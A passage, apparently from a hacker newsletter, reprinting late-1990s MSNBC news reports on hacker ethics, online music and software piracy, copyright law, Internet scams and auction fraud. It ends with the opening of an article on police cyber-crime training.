      July 23 —  Emmanuel Goldstein, editor of 2600 —
      The Hackers’ Quarterly, says hacking is about
      “learning, sharing information, being the first
      person to discover something.” To Marcus
      Ranum, CEO of a network security firm,
      breaking into someone else’s computer means
      “sheer mental and emotional anguish” for the
      victim. Strangely, depending on the
      circumstances and the individuals involved, they
      are both right. 
      
        HACKERS ARE the knights-errant of the Internet
       Underground, wandering the byways of cyberspace in
       search of adventure, mischief and — in some cases —
       somebody else’s treasure. But their reasons for embarking
       on an avocation that carries plenty of baggage with it are as
       diverse as the Internet itself.
              What is clear is that there are many more hackers than
       there used to be. The Computer Security Institute, in a
       recent survey of computer crime, found a 16 percent
       increase in security breaches of corporate computer
       systems over the previous year, more than half of which
       were accomplished via the Internet. The FBI now has
       roughly 500 computer crime investigations open at any
       given time. And the experts agree, these statistics reflect
       only the thinnest slice of the hacking phenomena.
              
       INSIDERS MOST LIKELY CULPRITS
              Most security breaches are still committed by insiders
       — dishonest or disgruntled employees in most cases — but
       outside intrusion is on the rise. 
              The statistics are capable of striking fear into the hearts
       of those intent on building the Internet into a mighty machine
       of commerce, but they hold promise for at least one sector:
       Dataquest estimates the market for computer security will
       grow into a $13 billion business by 2002, up from $6.3
       billion in 1997.
              The computer- and network-security experts find
       themselves confronted by a highly resourceful enemy that
       can assume many guises.
               

              Goldstein, whose real name is Eric Corley, is a leading
       spokesman for the “Jacques Cousteau School of Hacking,”
       representing those hackers who revel in the cerebral,
       exploratory aspects of the craft.
                "What hacking is about is learning, sharing
       information, being the first person to discover something,
       being the first person to try defeating a system in a different
       way,” he said. “The thing with hackers is we don’t keep
       secrets, we share information.
              
       THE CASE FOR HACKING
               “If hacking did not exist, people would not
       discover the mistakes, the basic ways that a system can be
       compromised until it was too late, until someone with an
       agenda had actually gotten in there and done something bad
       for a purpose. Hackers get in there and they tell everybody
       what they did.” 
              These hackers believe authorities and the media have
       unfairly stigmatized them by failing to make the distinction
       between hackers, who are essentially trespassers, and
       computer criminals. The latter, known as “crackers,” to the
       nondestructive hackers, break into systems to steal or
       wreak havoc. 
              “I believe the crime of simply hacking a system should
       be illegal in the same way it would not be legal to wander
       through my house. It’s kind of the same issue,” said a
       hacker known as Lucifer. “I do think the punishment
       typically outweighs the crime. Typically, a
       breaking-and-entering conviction [in the real world] will get
       you a suspended sentence, while burglary is treated much
       more seriously. I think the same should apply.”
              Unfortunately, problems can arise when hackers’
       explorations have unintended consequences, as was the
       case last year when a juvenile hacker who broke into a Bell
       Atlantic network inadvertently shut down communications
       between the control tower and aircraft at the Worcester,
       Mass., airport. Fortunately there were no crashes.
              
       SUFFERING IGNORED, CRITICS SAY
              The high-minded hacker ethic also ignores the
       considerable human suffering that even the most benign
       break-in can create, says Ranum, CEO of Network Flight
       Recorder, which creates security tools for network
       managers.
                “This isn't fun stuff, he said. “There is real
       damage. … You get some system or network manager who
       works up on Wall Street and his systems have been broken
       into … by one of these barely post-pubescent hackers and
       they’re scared for their jobs, they’re afraid they’re going to
       lose their careers, they’re worried about their mortgages.
       I’ve seen grown men reduced to tears by this kind of thing.
       It’s just not right.” 

                             The natural tension that exists
                      between the hackers and those
                      charged with either preventing them
                      from breaking in or catching them once
                      they do is understandable. But it tends
                      to obscure the fact that the hackers
                      who are most feared are not the ones
                      who call attention to their exploits or
                      bait the security experts.
               “I worry about the ones that you never see and
       you never hear, because they’re not driven by ego,” said
       Michael Higgins, vice president for operations and
       technology with Global Integrity Corp., an international
       security firm. “ … In my line of business. they’re usually
       driven by the almighty dollar, which means that they’re
       somehow causing fraud or they’re causing extortion events
       and they’re making money.”
       
       -=-
       
       Online thieves collide with the law
               A look at how copyright theft is being handled in the courts
                                                             By Bobbi Nodell 
                                                                      MSNBC

      July 23 — While the Internet yearns to be a
      free-wheeling exchange of information,
      corporate America is beginning to chase down
      those who circulate copyrighted material on the
      Internet without paying dues. Companies have
      hired digital detectives to locate sites violating
      the U.S. Copyright Act, and then, using threats
      or legal action, have forced the operators to
      remove the material. Here’s a look at the efforts
      — in the boardrooms and in the courtrooms —
      to crack down at online theft.
      
          WITH AN ESTIMATED 300 million web sites,
       policing illegal activity is a never-ending chore. 
       Christopher Young, president and chief operating 
       officer of Cyveillance based in Alexandria, Va., says 
       that his company has uncovered 100,000 violations since 
       it was formed 1 1/2 years ago to search for illegal 
       sites. Young said the violations his company has 
       uncovered run the pilfering gamut — including theft of 
       statistics from the National Basketball Association 
       site, trading nude photos of Pamela Anderson, 
       downloading copies of Windows 98, stealing Madonna’s 
       new album before it was released, or taking a Nike logo 
       and illegally representing the web site as that of a 
       Nike dealer. ”[And] don’t even get me started on rumors 
       and opinionated information on companies” posted on 
       bulletin boards and in chat rooms, he said, saying that 
       such false information meets the legal definition of 
       slander. Michael Overly of the Los Angeles law firm of 
       Foley & Lardner, said while there is no specific 
       statutory law directed at copyrighted material online, 
       courts are addressing the issue in piecemeal fashion in 
       a number of cases. “In some areas of the country there 
       is no direction, while in others there’s been conflicts 
       in the law,” he said. One of the main questions at 
       issue is how to clarify copyright protections for the 
       online world. For instance, should Internet service 
       providers [ISPs] be held liable for something a 
       subscriber posts on-line? Under the U.S. Copyright Act, 
       an ISP technically could be held liable, though a 
       number of courts have resisted that interpretation, 
       Overly said. In 1996, for example, the Church of 
       Scientology sued Netcom after the ISP refused to remove 
       church writings posted on its computer network by a 
       former Scientologist minister. The church argued that 
       the doctrines were copyrighted material and Netcom 
       should be held responsible for copyright infringement. 
       However, a federal judge in California ruled that 
       Netcom was not liable, even though it was partly 
       responsible for the material being illegally published 
       by refusing to remove it after receiving notification 
       from the church.

       FEARS OF OVERREACTION                                 
       While there is general agreement that online theft is a 
       problem, some think companies are destroying a good 
       thing by becoming overly aggressive in their attempts 
       to root it out. “There’s a Salem witchhunt going on out 
       there saying that this is something worse than it 
       really is,” said Jon Noring, the founder of OmniMedia 
       Digital Publishing, an online book publisher and 
       himself a victim of cyber theft. “It could lead to 
       Congress passing much more Draconian laws which could 
       have a serious effect on free passage of information.” 
       He said he is especially concerned that the Software 
       Publishers Association is trying to create a “police 
       state” by overzealously guarding copyrighted software. 
       While a far cry from totalitarianism, there have been a 
       number of attempts on the national front to crack down 
       on online theft: After a MIT student created a site 
       encouraging web surfers to steal software and computer 
       games, lawmakers scurried to toughen up the copyright 
       act to create certain criminal penalties for copyright 
       infringement — even if the offender does not benefit 
       financially, said Dallas attorney Craig Weinlein. The 
       result was the “No Electronic Theft Act” signed into 
       law by President Bill Clinton on Dec. 16, 1997. The 
       U.S. Copyright Act of 1976 was amended in 1995 to 
       protect the transmission of a digital performance, 
       therefore if someone plays music over the Internet 
       without proper authorization, they could run afoul of 
       this act. Now many companies are rallying behind a new 
       bill - the Digital Millenium Copyright Act (HR 2881) - 
       that addresses several new areas of copyright theft. 
       Most important, it would exempt online service 
       providers from copyright liability for simply 
       transferring information on the Internet. It also would 
       make it illegal to develop software that would disable 
       encryption included on software and CD-ROMs intended to 
       prevent people from copying the work. The bill passed 
       the Senate but was blocked in the House by the library 
       coalition and is still waiting to be voted on. 
       Controversial legislation also is pending to protect 
       information databases from being appropriated. 
       Currently, if someone compiles baseball statistics, for 
       instance, that information is not protected. The 
       Collections of Information Anti-Piracy Act, sponsored 
       by Rep. Howard Coble, R-N.C., was passed by the House, 
       but few think it will pass the Senate, where it has 
       encountered opposition from researchers and others who 
       worry that once this material is copyrighted, it won’t 
       be available to the public. Other areas still need 
       hashing out, including how efforts to prevent copyright 
       infringement might themselves infringe on privacy. 

                             For example, many companies are 
                             turning to digital “watermarks” — 
                             an electronic code — to track 
                             copies of their software, sound 
                             recordings, books or photos. But 
                             some Internet libertarians worry 
                             that these companies also will 
                             use the technology to track and 
                             assemble information on the 
                             customers who purchased the 
                             material. Also under debate is 
                             the online definition of “fair 
                             use” under Section 107 of the 
                             U.S. Copyright Act. Saying the 
                             copyrighted material is not for 
                             profit, is no longer a shield, as 
                             many schools have been prosecuted 
                             for copyright infringement, point 
                             out lawyers. The key, for 
                             lawmaker, is knowing where to 
                             draw the line. “We don’t want to 
                             legislate the Internet out of 
                             existence by making laws too 
                             strict,” said Overly. “In the 
                             United States, we have a tendency 
                             to rush in and legislate before 
                             we know what’s going on with new 
                             technology.”

       MSNBC’s Molly Masland contributed to this story.
      
       -=-
       
       Sound Waves: A digital battleground how the music industry
       is dealing with net pirates.
      
       By Bobbi Nodell 
       MSNBC

       July 23 —  Sound waves have become one of the
       hottest battlegrounds on the Internet these days.
       With the advent of new compression technology,
       people can now download sound files in
       moments, store them on a hard drive or record
       them on a compact disc using a CD recorder,
       which can be purchased for $300.
       
          THOUSANDS OF SITES offer near CD-quality
       sound recordings, so it’s possible for some music
       enthusiasts to bypass the music store altogether. For music
       pirates, the technology is almost a license to steal.
              Three months before its official release, Pearl Jam’s
       entire “Yield” album was posted online. Madonna’s new
       album “Ray of Light” made it to the Web months before its
       release. So did Alanis Morrissette’s new song, “Uninvited,”
       part of the soundtrack for the film “City of Angels.” 
              The Internet is full of “tribute sites” that offer vast
       electronic libraries dedicated to specific artists and one
       unofficial study found more than 1,800 digital jukeboxes.
              Some digital pirates charge consumers to download the
       music but others offer it for free and are brazen about what
       they are doing.
              One music archive site said, “Leech what you’d like. I
       don’t care. Just be nice and upload something for others.”
       Another begged Web surfers to “take but don’t tell.”
              
       RECORDING INDUSTRY STRIKES BACK
              Fearful of the future, the music industry is responding
       with a vengeance. The Recording Industry Association
       has already issued 750 warning letters to offending web
       sites and launched five major lawsuits charging federal
       copyright infringement — three were settled in January and
       two of the cases are still pending, said Steven D’Onofrio,
       executive vice president of RIAA. The association
       represents the companies and people who work in the $12
       billion recording industry. 
              “This is a growing problem and we are greatly
       concerned about it,” he said. 
              Reproducing and distributing copyrighted sound
       recordings without authorization is a violation of federal
       copyright laws. While a portion of a music clip can be used
       under the “fair use” terms, it’s not OK to use copyrighted
       material without the proper permission — no matter what
       kind of disclaimer is put on the site. 

              D’Onofrio said he’s not sure how much of the $300
       million lost every year to music pirates is from online theft
       but it’s enough for his group to take notice. He said the
       music industry would rather avoid lawsuits and focus on
       education. It has teamed up with several universities and
       launched a “Soundbyting campaign” to educate students not
       to download digital recordings from illegal music archive
       sites. Many of these sites are operated by students on
       university servers using a technology called MP3, which
       allows computer users to shrink audio files from compact
       discs without losing any noticeable sound quality. The
       CD-quality files can be played on a computer with one of
       the many free MP3 players found on the Internet.
              A trip around the Internet using the search term “MP3”
       shows how large the problem is. On a recent Alta Vista
       search, MP3 had more than 325,000 hits, many of them
       offering bootleg versions of songs.
              The association ferrets out these illegal sites with a staff
       of digital detectives as well as an automated Web crawler.
       While thousands of these sites still exist, the recording
       industry is gaining some ground. D’Onofrio said every site it
       has contacted has pulled the offending material or closed its
       site. And the courts have come down on the side of the
       recording industry in three cases so far, awarding $100,000
       in damages for each infringed sound recording identified in
       the complaint — representing damage awards totaling more
       than $1 million against each defendant. The recording
       industry, however, deferred collecting the damages as long
       as the sites refrain from posting copyrighted material.
              To help the industry’s cause, the No Electronic Theft
       Act was passed in November 1997. Among other things,
       the act criminalizes copyright infringement, even if there is no
       financial gain. 
              But it’s not just the recording industry that’s fighting
       back.
              
       OTHERS ON THE PROWL
         The American Society of Composers Artists and
       Publishers, which represents 75,000 songwriters and
       publishers, is going after anyone streaming music on the
       Internet without a license. Marc Morgenstern, senior vice
       president of new media for the society, said that unlike
       artists, who make most of their money from record sales,
       songwriters profit from the performing rights. His group also
       has a team of people who surf the Web and find offending
       sites. Most of the time, he said, they contact the site and get
       them to take the material down but he said the group
       brought a lawsuit once and settled for a $250 license fee.
       The license fee is based on the site’s revenue.
         The National Music Publishers Association , which
       represents more than 17,000 music publishers, is issuing its
       own slew of cease-and-desist orders. It is also interested in
       the lyrics and musical notations from copyrighted material. 
              One of its most public efforts has been its battle against
       the Online Guitar Archive, OLGA, which has a library of
       some 33,000 guitar tablatures. The site has a search engine
       that allowed users to search the databases for a popular
       song and see how to play it using tabs, which teach
       guitarists how to play the song by showing people where the
       put their fingers. While printed music is put out by the music
       publishers, the tabs on OLGA are written by other guitar
       players. 
              OLGA, a site started in 1992, was an outgrowth of
       Usenet groups and has a loyal following around the world,
       getting some 50,000 hits a day when its archive was up. It
       shut down in early June and won’t reappear until it reaches
       an agreement with the Harry Fox Agency, said John
       Nielands, public relations director for the site. He said the
       site has received over 30,000 letters from users asking the
       agency to back down and he said over 35 volunteer
       attorneys have offered to prepare a legal brief arguing that
       the tabs meet the definition of fair use. Meanwhile, 15-20
       mirror sites around the world have popped up in defiance of
       the order. 


              
         The OLGA shutdown follows a similar dispute between
       Warner Bros. and another tablature site, Guitartabs.com,
       that led the site to remove its tabs in May.
         As for printed sheet music — a $600 million business
       worldwide — some companies are turning to digital
       watermarks that embed a code in their material that makes
       it easier to track down for infringement. 

                             Seattle-based Sunhawk Corp., a
                      digital music publisher and online sheet
                      music store that has signed contracts
                      with Warner Bros., offers several
                      thousand song titles with digital
                      watermarks that tell them who
                      purchased the material. Downloadable
                      audio samples are also encrypted so
                      only one user can hear the music
       played without purchasing it. “I think this is the future of
       how printed music is going to go,” said the company’s chief
       executive officer Brent Mills. His view is that the OLGA site
       is illegal but he said its popularity points out how huge the
       market is for online sheet music.
              
       -=-
       
       Software piracy a booming Net trade
       ‘You can go anywhere ... steal anything you want,’ official says
       
                                                       By Molly Masland 
                                                                 MSNBC

      July 23 — Their names are often obscure —
      Zorgok’s Lair, the Legion of Krypt, XorcistX —
      and transient, changing without warning. They
      don’t do public relations, many don’t make
      money and their ‘proprietors’ are often still in
      their teens. The business of online software
      piracy has increased dramatically in recent
      years, vexing legitimate software makers.        
      
         “WHAT DO YOU want to pirate today?” reads a
       banner at one of the many sites that can be found by nearly
       any user doing a basic Internet search for the word ‘warez,’
       the online term for unlicensed programs. 
              “The Internet lends itself to piracy,” said Peter Beruk,
       director of anti-piracy for the Software Publishers
       Association, a trade group based in Washington, D.C.
       “You can go anywhere you want, buy anything you want,
       and steal anything you want.”
              The Internet, too, has fostered the demand for cheap
       software and the development of high-speed modems
       capable of quickly downloading large programs.
              Written in a variety of languages, including Russian,
       Vietnamese and German, some sites provide software for
       free or trade while others charge a fee. 
              
       INDUSTRY LOSSES
              According to the software industry, piracy is not only a
       violation of copyright laws but a crime that costs
       manufacturers millions annually in lost revenue. 
              A study published in June by the Business Software
       Alliance, which represents software vendors, and the
       Software Publishers Association, said the industry loses
       more than $11.4 billion a year worldwide to piracy.
       Although the group estimates that over 25 percent of
       software applications in the U.S. are pirated, the problem is
       far worse in developing areas of the world such as
       Southeast Asia and Eastern Europe, where piracy rates are
       said to hover as high as 95 percent or more of all
       applications in use. 
              “You’ll see just about every program that’s popular
       being offered and downloaded on the Internet,” said Bob
       Kruger, vice president of enforcement for the Business
       Software Alliance. “These people don’t appreciate the fact
       that what they’re doing inflicts injury on people. They think
       it’s a victimless crime, but it’s not.” 
              
       DEBATE OVER COSTS
              While software piracy undoubtedly costs manufacturers
       revenue, some argue the figures are overblown. They claim
       the statistics are inaccurate because they discount the fact
       that many people who use pirated software would not have
       purchased a licensed copy in the first place. 
              “The numbers are very misleading,” said Jon Noring,
       founder of Omnimedia Digital Publishing, an online
       distributor of electronic books. “They’re right if you simply
       multiply the number of pirated copies by their selling cost.
       But the issue is really that in a piracy free world, what
       percentage of those copies would actually have been
       bought?” 
              Two years ago, Noring himself was the target of a
       software pirate who cracked his security code for the Kama
       Sutra, one of the more popular books offered by Noring’s
       company, and made it available over the Internet for free.
       Omnimedia charges a fee to download the complete copy
       of a book. At first, Noring was concerned the breach would
       impact sales; two years later, he said he’s seen “absolutely
       no net effect whatsoever.” 
              Noring argues that some users, including many in
       developing countries, cannot afford to buy licensed software
       and would not have purchased it if they didn’t have access
       to a pirated copy. 
              As one user from Singapore wrote in an online
       newsgroup, “Many Singaporeans support software piracy.
       Singaporeans know that it is morally wrong…so there’s no
       need to educate us. It’s those software companies that need
       to be educated. If they lowered their software prices,
       Singaporeans would be willing to buy the originals. Anything
       more than $30 for the original is daylight robbery for us.” 
              For many users, especially teens and college students,
       collecting pirated software has become a compulsive
       hobby. While no software pirates contacted by MSNBC
       would comment on the subject, Noring says many do it for
       fun. “They get a rush and an excitement out of it,” he said.
       “Their disks are piled with the stuff but it’s not on their
       computers. They just have it. It’s like collecting the whole
       set or something.” 
              
       COPYRIGHT VIOLATION
              Regardless of the debate over costs or the reasons why
       people use unlicensed programs, software piracy remains a
       crime under federal copyright laws. The U.S. Copyright Act
       gives the owner of a copyright the exclusive right to control
       the reproduction or distribution of a particular work.
       Anyone who distributes the work without permission of the
       owner violates the law and is subject to damage awards up
       to $100,000 per copyrighted work, or actual damages
       suffered by the owner if they can be proven.
              “If somebody has one piece of software posted on a
       Web site, that may not warrant a civil suit or referral for
       criminal prosecution,” said Kruger. “But if you have
       somebody running a mail order business and advertising on
       the Internet, we want to have that site shut down and the
       operators prosecuted.” 
              In order to counter the efforts of online pirates,
       investigators try to identify a particular site’s Internet service
       provider and have the site disconnected. Often the sites
       provide their ISPs with false names and addresses, making
       it difficult, if not impossible, to track them down. 
              
       HARM TO USERS?
              Although supporters of piracy may argue it’s harmless
       and actually does people a favor, others point out that
       piracy hurts not just manufacturers but also users who
       download it. 
              “There are a number of benefits you get when you
       purchase legal software,” said Kruger. “You get guarantees
       that it’s virus free and will operate as it’s supposed to. You
       also get technical support, a manual and access to
       upgrades. If you download it from the Internet, you get
       none of these things.” 
              In addition, pirates need a place to store their ‘warez’
       and often surreptitiously hijack third party servers to use as
       storage sites. 
              This problem is especially acute at universities.
       According to Beruk, software pirates are most commonly
       high school or college students with access to servers where
       they can store large quantities of programs. Campus servers
       often become the unwitting hosts for bundles of illegal
       software. 
              One of the more dramatic cases Beruk has been
       involved in was at Andrews University, a small liberal arts
       college in Michigan. Campus tech support noticed that one
       of the university’s main servers was running at close to 90
       percent capacity. 

       After removing two ‘warez’ sites, the server’s capacity was
       back down to 20 percent.  “Those two sites by two college
       students were taking up 70 percent of the university’s server,
       ” said Beruk.  “That tells you how much software is
       being uploaded and downloaded on a  regular basis. It tells
       you just how big the amount of traffic in illegal software 
       really is.” 
              
       -=-
       
       Age-old scams find new home on Net
          Problem is ‘expanding exponentially,’ FTC attorney says
                                                   By Adam Snyder 
                                                 SPECIAL TO MSNBC

      July 23 — A certified public accountant and by his
      own estimation “no dummy,” Barry Wise first
      heard about the Fortuna Alliance — a promising
      investment opportunity being advertised on the
      Internet — from a colleague in April 1996. That
      same evening, he visited the Web site and read
      about “a unique mathematical formula” called
      “The Fibonacci Sequence,” whereby each
      member could earn up to $5,000 per month, in
      perpetuity, as soon as he or she had recruited
      300 new investors.                          
      
          REASSURED BY quotes on the site from dozens of
       satisfied customers and by a 90-day money-back
       guarantee, he mailed the Web site’s operators a check for
       just less than $5,000.
              Unfortunately for Wise and other
       soon-to-be-dissatisfied customers, the Federal Trade
       Commission had not yet concluded its investigation of the
       Fortuna Alliance. The following month, the agency asked a
       federal court to shut down the site, which it said was
       advertising a classic pyramid, or “Ponzi,” scheme and to
       order its operators to pay restitution to investors. 
              Because of the agency’s action, Wise recovered about
       $3,000 — or close to 60 percent of his investment —
       though it took a year before he received his partial
       repayment from a claims administrator established by the
       FTC. On Wednesday, July 22, the FTC announced it had
       finished mailing more than $3 million in checks to people in
       70 countries who were defrauded by Fortuna.
              Since the crackdown on the Fortuna Alliance, the FTC
       has taken similar action against 36 Web sites engaged in all
       types of con games — everything from fraudulent land deals
       and work-at-home schemes to bogus charities and crooked
       contests.
              They all boil down to a single ruse, says Susan Grant,
       director of the National Fraud Information Center:
       convincing victims to part with their money without having to
       deliver anything of value in return.
              “The fact that the Internet has made it possible for
       anyone to communicate with anyone else has lowered the
       barriers for being in business,” she said. “That’s obviously a
       good thing for small entrepreneurs. But it’s also provided a
       bonanza for scam artists.”
              Most Internet frauds are “old-fashioned scams dressed
       up in high-tech garb,” FTC Chairman Robert Pitofsky
       testified during Senate hearings on Internet fraud in
       February. 

              But the nature of the Internet makes these age-old
       scams easier to spring. Before the Internet, peddlers of
       get-rich-quick schemes in search of suckers had to operate
       expensive mass-mailing campaigns or banks of telephones.
       Today, with a single keystroke, a scam artist can send
       e-mail to tens of thousands of online targets. 
              
       FOUR BASIC SCAMS
              Experts charged with weeding out Internet fraud say
       almost all online scams fall into four categories:
              Pyramid scheme: “Turn $5 into $60,000 in just four
       weeks” is most likely a come-on to an age-old “pyramid” or
       “Ponzi” scheme. Like the Fortuna Alliance scam,
       participants can only make money by recruiting new
       suckers, creating a “pyramid” that collapses like a chain
       letter as soon as no new “investors” can be found. Such
       pyramid schemes are illegal on or off the Internet.
              Risk-free investment: There may be such a thing as a
       risk-free investment, but buying shares to help finance the
       construction of an ethanol plant in the Dominican Republic,
       which is what IVT Systems promised last year would
       generated a return of 50 percent or more, is not one of
       them. Nor are the countless other “risk-free” offerings on
       the Internet. After the SEC filed a complaint, IVT stopped
       advertising on the Internet. 
              Phone scams: Like many Internet scams, this is just a
       variation of one that has been around for years but which
       has found new life with the easy communications made
       possible by e-mail. You receive an e-mail urging you, by
       name, to call a telephone number in the “809” area code.
       Typically the incentive is that you’ve won a contest or
       sweepstakes. But “809” is actually the area code for the
       Caribbean, and the call will show up on your next phone bill
       at a rate of up to $20 per minute. 
       Top 10 Scams
       As Federal Trade Commission Chairman Robert Pitofsky
       once said, Internet frauds are "old-fashioned scams
       dressed up in high-tech garb." But that doesn't mean
       they're easy to spot.
       
       -=-
       
       Scam combines e-mail, overseas call
       FTC says its new Internet fraud unit is hot on con artists’ trail
                                                         By Mike Stuckey
                                                                   MSNBC

        May 18 — Internet con artists are pairing e-mail
       with overseas telephone numbers to fleece
       unwitting U.S. consumers, federal authorities
       said Tuesday in announcing a crackdown on the
       scam.
       
       ‘That’s a good little scam.’ 
       
       
       — IAN OXMAN
       Spam Recycling Center 
       
              HERE’S HOW it works: Net users receive e-mail from
       a phony company advising them that “we have received
       your order.” The e-mail recipients have no memory of
       placing such an order, but the note includes an official
       looking “confirmation number” and the startling news that
       anywhere from $300 to $900 will be billed to their credit
       cards. Any questions? A telephone number offers help. 


              The number actually goes to a phone-sex line in
       Dominica, an island nation in the Caribbean’s West Indies.
       Call it, and you’ll wind up with an unexpected charge on
       your next phone bill.
              “That’s a good little scam,” said Ian Oxman of the
       Spam Recycling Center, a group that helps federal
       authorities and others track and fight junk e-mail.
              In a first-of-its-kind action against so-far unknown
       perpetrators, the Federal Trade Commission’s newly
       formed Internet Fraud Rapid Response team has won a
       court order against the con artists. The action orders the
       perpetrators to stop the scam and prevents telephone
       carriers from remitting funds to the company behind the
       West Indies number, the FTC’s Eileen Harrington told
       MSNBC.

            The FTC's Eileen Harrington explains how
       telephone funds were frozen in the case.

              Harrington, the FTC’s director of marketing practices,
       said the FTC team — two attorneys and a researcher — is
       confident it will learn who is behind the e-mail and win a
       judgment against them. “I don’t think it will take very long,
       she said, adding that evidence gathered so far shows “the
       perpetrator is probably in the United States.”
              The FTC began investigating the scam about three
       weeks ago as the result of some of the 10,000 consumer
       complaints it receives each month, said Harrington. America
       Online users were particularly hard hit, according to the
       FTC. Another big e-mail provider, Yahoo!, got no
       complaints, an employee said. Checks with telephone
       carriers showed that traffic to the West Indies number
       increased by “thousands and thousands” in March alone,
       Harrington said. 
              
       CHARGES VARY
              Many who called the number saw it result in a $1.50 to
       $2 charge on their bills, Harrington said. Of course, if they
       stayed on the line longer, the charge was more, and she
       suspects a number of people called it twice, thinking they
       had misdialed the first time.
              “It never ceases to amaze me how clever people can
       get when it comes to being underhanded,” said Oxman. 
              One bright spot for consumers, according to
       Harrington: While “it may be that the crooks are getting
       come benefit from technology … well, we’ve got some
       benefits, too.” With the rise of the Web and e-mail as
       information sources, the FTC is learning of scams “almost at
       the same time the consumer sees them.”
              As a result, “these are going to be rapidly brought
       cases. We want to do these cases in days and weeks,” she
       said.
       
       
       -=-
       
       The goods, the bids — and the ugly
       Some buyers are getting hammered at online auction sites
                                                 By Adam Snyder 
                                               SPECIAL TO MSNBC

       July 23 — Biologist William Porter made dozens of
       purchases in Internet auctions, mostly adding to
       his GI Joe collection, before deciding to upgrade
       his computer. His bid of $615 on a brand new
       Pentium 90 system was accepted, but the crooks
       never delivered the goods. “I still buy things
       from Internet auction sites, but I won’t be
       making such an expensive purchase again, at
       least not if they demand payment in advance,” a
       rueful Porter said.
       
       “IT’S ONE THING to risk $10 or $15. It’s another to
       get ripped off for $615,” he said. Porter, a Maryland
       resident who sent his check to a California address, is a
       member of a growing fellowship of consumers who have
       discovered that the issue of trust is paramount when
       patronizing the garage sales of cyberspace.
              Auction sites are a fast growing commercial sector on
       the World Wide Web, offering people all over the world the
       chance to bid on merchandise that would otherwise be far
       beyond their geographic reach. The vast majority of the
       transactions go off without a hitch, but the hectic hives of
       e-commerce also present criminals with a perfect venue to
       do their bidding.
              There are as many as 1,000 auction sites on the Web,
       matching sellers of everything from fine wines and rare coins
       to used cars and yesterday’s fishing gear with interested
       buyers. The highest bid wins the item, with the auction sites
       usually charging a small fee (often as low as 25 cents) and 5
       percent of the sale fee. 
              
       CATERING TO NICHES
              Many of them cater to specific niches, such as
       Winebid.com or Philatelists.com, but others are like
       galactic-scale general stores.
              EBay, which acted as middleman in Porter’s attempt to
       purchase a computer, is the industry leader. It sold more
       than $100 million worth of every kind of merchandise during
       the first quarter of 1998, and according to the ratings firm
       Media Metrix is now one of the five most visited shopping
       sites on the Web. Another leading online auction house,
       Onsale, has a registered customer base of more than
       500,000 and has placed more than a million orders since its
       launch in May 1995.
              Fraud is not a problem at auction houses like
       Firstauction, a subsidiary of the Home Shopping Network,
       and other Web retailers that own the merchandise that they
       sell directly to their customers. But sites that simply match
       buyer and seller offer a jilted would-be buyer little recourse.

              Porter waited two weeks before inquiring by e-mail
       about the whereabouts of his computer. After a few
       exchanges, the seller stopped responding to his queries and
       the telephone number he had been given just rang and rang. 
              In the end all he could do was post a warning on EBay
       to warn other buyers. 
              
       FTC URGES STANDARDS
              Concerned about the problem of auction rip-offs, the
       Federal Trade Commission called a meeting in late May
       with executives from the top Internet auction sites —
       including EBay, Up4sale , Auction universe,Haggle
       onlineand Auction addict — and urged them to adopt a
       voluntary code of conduct that would help prevent fraud. 
              But the auction operators were noncommittal. “The
       short answer is that they were interested in making money,”
       said an obviously frustrated Paul Luehr, one of the FTC
       attorneys who attended the meeting.
              “I can’t say that I spend more than 15 minutes a week
       thinking about fraud,” acknowledged Meg Whitman,
       president of EBay.
              But Whitman and other online auctioneers say they
       have already taken measures to combat fraud. For one
       thing, most have feedback systems that warn buyers of
       problem sellers. EBay, for example, assigns a plus 1 for a
       positive comment and a minus 1 for a negative comment.
       Anyone accumulating a score of minus 4 or lower is barred
       from the system. 
              In an effort to prevent thieves from preying on their
       clientele, most auction sites also require anyone with an
       anonymous e-mail — a Hotmail or Yahoo address, for
       example — to register with a credit card. 

              Such measures are by no means foolproof, however.
       Fraudulent sellers will often adopt multiple e-mail accounts
       that allow them to switch identities at will. And criminals
       who prowl the auction sites can use fraudulent credit cards
       to establish legitimate-appearing accounts. 
              
       ONLINE SHILLS A DANGER
              Shills represent another danger to the unsuspecting
       bidder. Most auction houses have rules against bidders in
       cahoots with the seller making bids for the sole purpose of
       driving up the price. But such tactics are virtually impossible
       to identify online, observers say.
               “In a private sale, there’s not much someone who is
       cheated can do,” said Susan Grant, director of the National
       Fraud Information Center. “It’s not like responding to a
       local classified ad or buying something at a tag sale from the
       guy down the road, in which case you can drive to the
       seller’s house or take a trip to the local courthouse.”
              Auction Universe, owned by Times Mirror Co., tries to
       mitigate this problem by partnering with local newspapers
       and attempting to match buyer and seller within the same
       geographic area. “We sell a lot of cars,” said President and
       CEO Larry Schwartz, “and almost all of them are sold to
       someone locally. We have no more than three or four
       complaints per month.”
               The National Fraud Information Center, the FTC and
       online auction sites themselves offer recommendations on
       how to avoid becoming a victim of an unscrupulous seller.
       These include paying close attention to the site’s evaluation
       system, paying with a credit card whenever possible and
       using an escrow agent for large transactions. Some sites
       provide links to several such agents who, for a small fee,
       will hold the money until the goods are delivered. 
              
       FTC TAKES ACTION
               But the FTC is not yet convinced that the voluntary
       guidelines currently in place are enough of a deterrent to
       fraud and is becoming more aggressive in going after auction
       house scam artists.
              In April, it took action against Craig Hare of Lake
       Worth, Fla., who, according to the FTC complaint, used
       online auction houses to offer new and used computers for
       sale. Then after the winning bidders paid as much as $1,450
       per computer, Hare provided neither the merchandise nor a
       refund. 

                             Neither Hare nor his attorney
                      could be reached for comment.
                             The FTC is investigating other
                      auction scammers who systematically
                      float from one auction house to
                      another, defrauding consumers. 
                             The agency also says it could take
                      action against the auction sites if the
                      industry’s problems worsen. “The test
       would be if we determined that an auction site was engaged
       in ‘unfair and deceptive practices,’ ” said Lisa Hone, an
       FTC staff attorney.
       
       @HWA
       
41.0  Cops Receive Info on Internet Crime Fighting 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      An all-day seminar on "Law Enforcement and the
      Internet" was recently held in New York and sponsored
      by Law Enforcement Internet Intelligence Report. The
      seminar covered topics such as tracking e-mail
      messages to how to spot malicious activity to the legal
      pitfalls in preparing subpoenas and search warrants. 

      APB Online 
      http://www.apbnews.com/cjprofessionals/behindthebadge/1999/10/26/seminar1026_01.html
      

       Cops Get Lesson in Cyber-Sleuthing
       Taught to Track E-mail, Crack Hackers, Win Subpoenas 

       Oct. 26, 1999 

       By David Noack 

                            TARRYTOWN, N.Y. (APBnews.com) -- When
                            fighting Internet crime, investigators should
                            use all the same investigative methods they
                            use in the brick-and-mortar world. After all,
                            cyber-crooks leave behind clues and patterns
